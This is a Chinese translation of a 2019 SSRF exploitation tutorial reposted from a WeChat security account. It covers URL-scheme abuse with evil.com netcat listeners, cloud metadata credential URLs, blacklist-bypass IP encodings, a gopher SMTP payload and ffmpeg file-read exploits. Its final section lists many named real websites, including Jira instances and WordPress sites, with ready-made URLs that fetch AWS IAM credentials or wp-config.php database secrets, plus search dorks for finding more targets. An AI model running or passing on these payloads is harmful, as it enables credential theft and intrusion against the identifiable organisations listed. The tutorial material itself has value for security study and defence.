本文共 14640 字,大约阅读时间需要 48 分钟。
翻译作者:国勇(信安之路特约作者) 原文地址:https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-1-29d034c27978
服务器端请求伪造(SSRF)是指攻击者能够通过存在漏洞的 web 应用程序发送黑客制造的请求
简单来说,黑客可以告诉服务器一个网址,服务器负责去请求这个网址。
例如:
GET /?url=http://google.com/HTTP/1.1
Host: example.com
如下是 example.com
去请求 http://google.com
的流程
1、Basic SSRF:返回结果到客户端,如传送一个网址,会返回这个网址的界面或对应的 html 代码
2、Blind SSRF:和上面正好相反,不会返回结果到客户端
返回攻击者发送请求的响应,当攻击者发送一个需要访问的 url 给被攻击服务器后,会将 url 服务器的响应内容返回给攻击者。
require 'sinatra'require 'open-uri'
get ‘/’ do
format ‘RESPONSE: %s’, open(params[:url]).read end上面的代码运行在服务器上的 4567 端口
通过以上服务,可以构造如下链接来打开对应的文件:
http://localhost:4567/?url=contacts
将打开 contract 文件并返回到前端
http://localhost:4567/?url=/etc/passwd
将打开 etc/passwd 并返回到前端
http://localhost:4567/?url=https://google.com
将在服务器上打开 google.com 并返回到前端
1、产生反射型 XSS
2、通过 url scheme (file:///, dict://, ftp://, gopher:// ...) 读取内部资源或者让服务执行相应的动作
3、扫描内部网络和端口
4、如果运行在云实例上,可以尝试获取 META-DATA
简单的从外部网站获取一个恶意 payload ,并且响应类型是 html 格式,如:
http://localhost:4567/?url=http://brutelogic.com.br/poc.svg
当找到一个 SSRF 时,第一件事情就是测试对应可支持的 url scheme,如:
file:// dict:// sftp:// ldap:// tftp:// gopher://
file://
FIle 模式用于从文件系统中获取文件内容
http://example.com/ssrf.php?url=file:///etc/passwd http://example.com/ssrf.php?url=file:///C:/Windows/win.ini
dic://
当服务端禁止或者只允许白名单从外部网站请求资源,你可以通过 dic://
模式来发送一个请求
DICT URL scheme 通过 DICT 协议引入定义或者可用的单词列表:
http://example.com/ssrf.php?dict://evil.com:1337/
evil.com:$ nc -lvp 1337Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 31126)CLIENT libcurl 7.40.0
sftp://
Sftp 是一个 SSH 文件传输协议或安全文件传输协议,和 SSH 打包在一起的单独协议,和 ssh 一样都是通过安全连接进行通信。
http://example.com/ssrf.php?url=sftp://evil.com:1337/
evil.com:$ nc -lvp 1337Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2
ldap:// 或 ldaps:// 或 ldapi://
LDAP 代表轻量级的目录访问协议。它是在 IP 网络上使用的应用程序协议,用于管理和访问分布式目录信息服务。
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
tftp://
ftfp 用来在客户机与服务器之间进行简单文件传输的协议,提供不复杂、开销不大的文件传输服务。
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
evil.com:# nc -lvup 1337Listening on [0.0.0.0] (family 0, port 1337)TESTUDPPACKEToctettsize0blksize512timeout3
gopher://
Gopher 是一个分布式文档传输服务,允许用户以无缝的方式针对放在不同位置的文档进行浏览、查询、获取。
http://example.com/ssrf.php?url=http://attacker.com/gopher.php
gopher.php (host it on acttacker.com):
evil.com:# nc -lvp 1337Listening on [0.0.0.0] (family 0, port 1337)Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 49398)Hissrftest
更多请参考:
https://ftp.isc.org/lynx/lynx-2.8.1/lynx2-8-1/lynx_help/lynx_url_support.html https://blog.chaitin.cn/gopher-attack-surfaces/
如果他们在 LAN 上运行某些服务,如 Kibana、Elastic Search、 ,可以做什么?
因为防火墙阻止,无法直接进入内部网络,如下图:
我们可以使用 SSRF 访问到内部服务。
攻击者运行内部 IP 和 PORT 扫描来了解更多目标信息,并将其进一步利用。有时可以带来 RCE(远程命令执行)。
例如:发现内部网络运行了一个有公开 RCE 的过期软件,则可以使用他执行代码,当然这也适应于其它的漏洞,如 csrf。
Amazon: 如果你在 Amazon 中找到 SSRF,则 Amazon 会公开每个 EC2 实例的内部服务,可以查询主机实例的元数据。当你发现在 EC2 上存在 SSRF 漏洞,可尝试如下请求:
http://169.254.169.254/latest/meta-data/ http://169.254.169.254/latest/user-data/ http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
这将提供给我们有趣的信息,如 Aws keys,ssh keys 等
可参考这些 POC :
https://hackerone.com/reports/285380 https://hackerone.com/reports/53088
例如:
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/[INJECTION PAYLOAD] http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/
Google Cloud 同样适用于 google:
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json
进一步利用可以带来实例接管
参考:
https://hackerone.com/reports/341876
其它的云实例,你可以参考:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SSRF%20injection#ssrf-url-for-aws-bucket
并不是所有的 SSRF 漏洞都会将响应内容返回给攻击者,这种类型的 SSRF 被称为 Blind SSRF。
案例(使用 ruby)
require 'sinatra'require 'open-uri'
get ‘/’ do
open params[:url]‘done’
end以上代码运行在服务器上的 4567 端口,当收到一个请求时会做如下事情:
1、接收用户的 url ,并向这个 url 发送请求
2、发送 "OK" 的响应给到用户,而不是 url 的内容(不能看到响应)
http://localhost:4567/?url=https://google.com
将请求 google.com ,但是不会把 google.com 的响应内容返回给攻击者。
这种 SSRF 的影响是运行内部 IP 和 PORT 扫描,简单来说就是当对应用的 ip:port 服务存在就会返回 "OK" 响应,否则服务报错。
这里列出了你可能会扫描服务对应的 ipv4 网络私有地址。
10.0.0.0/8 127.0.0.1/32 172.16.0.0/12 192.168.0.0/16
可以通过响应状态或响应时间来判断指定的端口是开放还是关闭。
如下是一些常用返回状态和时间的例子:
在某些情况下,如果服务器支持 Gopher,使用它从服务器的 IP 发送垃圾邮件
为了演示我们将使用 test.smtp.org 测试服务器。
制作一个恶意的php页面:
', 'RCPT TO:', 'DATA', 'Test mail', '.' ); $payload=implode('%0A', $commands); header('Location: gopher://test.smtp.org:25/_'.$payload);?>
https://example.com/ssrf.php?url=http://attacker.com/ssrf/gopher.php
此代码将我们的 SMTP 命令连接到由 %0A
分隔的一行,并强制服务器在实际发送有效的 SMTP 请求时向 SMTP 服务器发送“GOPHER”请求。
攻击者可以使用 iptables 来产生一个长时间的请求并限制之后服务器接收请求,例如 CURL 的 FTP:// 协议,这个协议一直不会超时。
攻击者可以将所有 TCP 流量发送到端口 12345 来限制请求,如下
https://example.com/ssrf/url?url=ftp://evil.com:12345/TEST
获取内部或外部资源
案例1:
http://example.com/index.php?page=about.php http://example.com/index.php?page=https://google.com http://example.com/index.php?page=file:///etc/passwd
参考:
https://medium.com/@neerajedwards/reading-internal-files-using-ssrf-vulnerability-703c5706eefb
案例2:
通过修改 post 请求的 url :
POST /test/demo_form.php HTTP/1.1Host:example.comurl=https://example.com/as&name2=value2
参考:
https://hackerone.com/reports/411865 https://medium.com/@neerajedwards/reading-internal-files-using-ssrf-vulnerability-703c5706eefb
这里有一些例子,服务器把上传的文件转化成 pdf。
试着去注入 <iframe>
,<img>
,<base>
或 <script>
元素或 CSS url() 函数指向内部服务。
你可以使用如下方式读取内部文件
<iframe src=”file:///c:/windows/win.ini”width=400height=400/>
参考:
https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html
替换正在上传中的 input type 为 URL,同时检查是否服务器会请求这个 url 的值。如
改成
同时传递一个 URL
参考:
https://hackerone.com/reports/713
有许多应用程序使用过时的版本 ffmpeg 将视频从一种格式转化成另一种格式。他们有很多已知的漏洞。
克隆 neex repo 并使用以下命令生成 avi
./gen_xbin_avi.py file://file_read.avi
上传到存储漏洞的服务器并试着转换 avi 到 mp4 格式
此读取可用于读取内部文件并写入到视频中
参考:
https://hackerone.com/reports/237381 https://hackerone.com/reports/226756
这种漏洞的获取只限制于你的搜索渠道,你要获取更多的搜索渠道,如:
https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=ssrf https://wpvulndb.com/search?utf8=✓&text=ssrf
首先一起讨论一下白名单与黑名单
当服务器的白名单只允许 google.com 则你只允许通过 SSRF 获取 google.com,其它的域名则全部拒绝。
唯一的绕过方式是在白名单中找到一个开放重定向(open redirect),我们来看一些例子:
例子1:
当你在 example.com 中发现了一个 SSRF,同时 www.example.com
配置的白名单为 abc.com
。
http://example.com/ssrf.php?url=https://google.com
由于未列入白名单,因此无法获取
http://example.com/ssrf.php?url=http://abc.com/?redirect=https://google.com
成功获取了 google.com
例子2:
当你在 example.com 中发现了一个 SSRF,同时 www.example.com
把整个 *.abc.com
列入了白名单。
http://example.com/ssrf.php?url=https://google.com
由于未列入白名单,因此无法获取
你可以通过 *.abc.com
的任何子域接管来绕过他,并将其用于 iframe 或将其重定向到所需的网站。
http://example.com/ssrf.php?url=http://subdomain.abc.com/?redirect=https://google.com
成功获取了 google.com
当你服务器列入了 google.com 到黑名单时,则你获取 google.com 将会被阻止。
黑名单可以通过多个方式绕过。
转化 ip 为 16 进制
例子,以下三个方式意思一样
1、普通方式:
http://192.168.0.1
2、带点方式:
http://c0.a8.00.01
3、不带点方式:
http://0xc0a80001
转化 ip 为 10 进制
可以使用在线转化工具:
https://www.ipaddressguide.com/ip
转换后的格式如下:
http://0177.0.0.1/ = http://127.0.0.1 http://2130706433/ = http://127.0.0.1 http://3232235521/ = http://192.168.0.1 http://3232235777/ = http://192.168.1.1
转化 ip 为 8 进制
1、 普通方式:
http://192.168.0.1
2、 带点方式:
http://0300.0250.0000.0001
3、 不带点方式:
http://0xc0a80001
参考:
https://hackerone.com/reports/288250
使用通配符 DNS(wildcard DNS)
有许多网站在线提供通配符 DNS,例如:
xip.ip: wildcard DNS for everyone :
http://xip.io/
NIP.IO: wildcard DNS for any IP Address:
https://nip.io/
ip6.name:
https://ip6.name/
sslip.io:
https://sslip.io/
你可以简单地通过使用它们指向特定的 IP
10.0.0.1.xip.io resolvesto 10.0.0.1
www.10.0.0.1.xip.io resolvesto 10.0.0.1
mysite.10.0.0.1.xip.io resolvesto 10.0.0.1
foo.bar.10.0.0.1.xip.io resolvesto 10.0.0.1
ssrf-cloud.localdomain.pw resolvesto 169.254.169.254
metadata.nicob.net resolvesto 169.254.169.254
或者你也可以使用你自己的域名达到这个目的
制作一个子域名并通过 DNS 的 A 记录 指向到 192.168.0.1
参考:
https://hackerone.com/reports/288193 https://hackerone.com/reports/288183
使用字封闭的字母数字(enclosed alphanumerics)
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
该博客的作者不对任何滥用信息负责。
先来看一个 basic SSRF
https://robert-brook.com/parliament/index.php?page=http://www.parliament.uk/business/news/2019/parliamentary-news-2019/this-week-in-the-commons-friday-25-january-2019/
这里的 page 参数会去获取外部资源并显示内容
https://robert-brook.com/parliament/index.php?page=http://brutelogic.com.br/poc.svg
读取本地文件
https://robert-brook.com/parliament/index.php?page=file:///etc/passwd
当你尝试其它的 URL 模式,如 DICT 模式时会报错
Warning: file_get_contents(): Unable to find the wrapper “dict” — did you forget to enable it when you configured PHP
这说明 DICT URL 模式没有启用。
同样 你可以试一下其它的 URL 模式并找到哪些启用了,然后进一步利用。
读取本地文件
youtube 视频地址:
https://www.youtube.com/watch?v=OQBZ__L23KU (需要访问外国网站)
还存在易受攻击的网站
https://www.onlinevideoconverter.com/ https://www.files-conversion.com/
仓库地址:
https://github.com/neex/ffmpeg-avi-m3u-xbin
大量存在于使用插件和 CMS 系统中
Jira 版本 < 7.3.5 存在 SSRF
https://<JIRA_BASEPATH>/plugins/servlet/oauth/users/icon-uri?consumerUri=…
在 shaodan 中大约有 40000 jira 站点,可以通过如下 dorks 来查找
X-AUSERNAME: anonymous X-AUSERNAME: anonymous org:"Amazon.com" -- For aws X-AUSERNAME: anonymous org:"Microsoft Azure" -- For Azure X-AUSERNAME: anonymous org:"google" -- For Google
现在我们一起看下存在漏洞的站点
https://jira.majesco.com/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com https://jira.intellectdesign.com/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com https://team.asg.com/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com https://jira.magnitude.com/ https://tickets.metabrainz.org/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com https://support.eu.evertz.com/jira/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com https://jira.dhis2.org/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com https://jira.vectormediagroup.com/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/ -- Aws Details https://mattel.cprime.com/jira/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com https://www.mfjira.io/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com http://adoptivefam.org/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com https://jira.iea-dpc.org/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com https://jira.fellowshipchurch.com:8443/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com https://jira.soleus.nu/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com http://jira.succraft.com:8080/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com https://tickets.metabrainz.org/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com http://support.make-my-day.co.nz/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com http://52.202.112.34/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/iam/security-credentials/SystemsManagerRole -- Aws Details https://jira.canallabs.fr/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/profile -- Aws Details http://54.247.191.19/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data -- Aws Details http://52.22.123.239/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data -- Aws Details http://52.22.123.239/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance -- Aws Details https://devops.deviate.net.nz/projects/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance -- Aws Details https://52.73.101.120/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/iam/security-credentials/BitbucketRole -- Aws Details
这是我发现的一些存在漏洞的网站。
在 JSMol2WP Wordpress Plugin 中的 SSRF
JSmol2WP 小于 1.07 版本中存在不需要认证的 SSRF
http://localhost:8080/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php
Dork
inurl:wp-content/plugins/jsmol2wp
漏洞站点
https://www.vivelab12.fr/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php -- DB details http://thasso.com/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=https://google.com -- Fetch google.com http://www.ch.ic.ac.uk/rzepa/blog/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php -- DB details
Qards Wordpress Plugin 中的 SSRF
Qards 容易受到 SSRF 的攻击
http://target/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com
Dork
inurl:wp-content/plugins/qards
存在漏洞的站点
https://vfsgroup.com.au/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com https://mrgoatygelato.com.au/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com https://arturolopezvalerio.com/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com https://hooverwellness.com/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com
在 HTML 转换到 PDF 中的 SSRF存在漏洞的站点
https://pdfcrowd.com/#convert_by_input https://convertio.co/html-pdf/
SSRF.html 文件内容
">
"><svg/onload=document.write(document.location)>– to know the path and some times to know what os they are using at backend
以上发布的所有这些网站只是为了让你能练习,我不对任何滥用负责。
本文分享自微信公众号 - 信安之路(xazlsec)
原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。
原始发表时间: 2019-03-13
本文参与,欢迎正在阅读的你也加入,一起分享。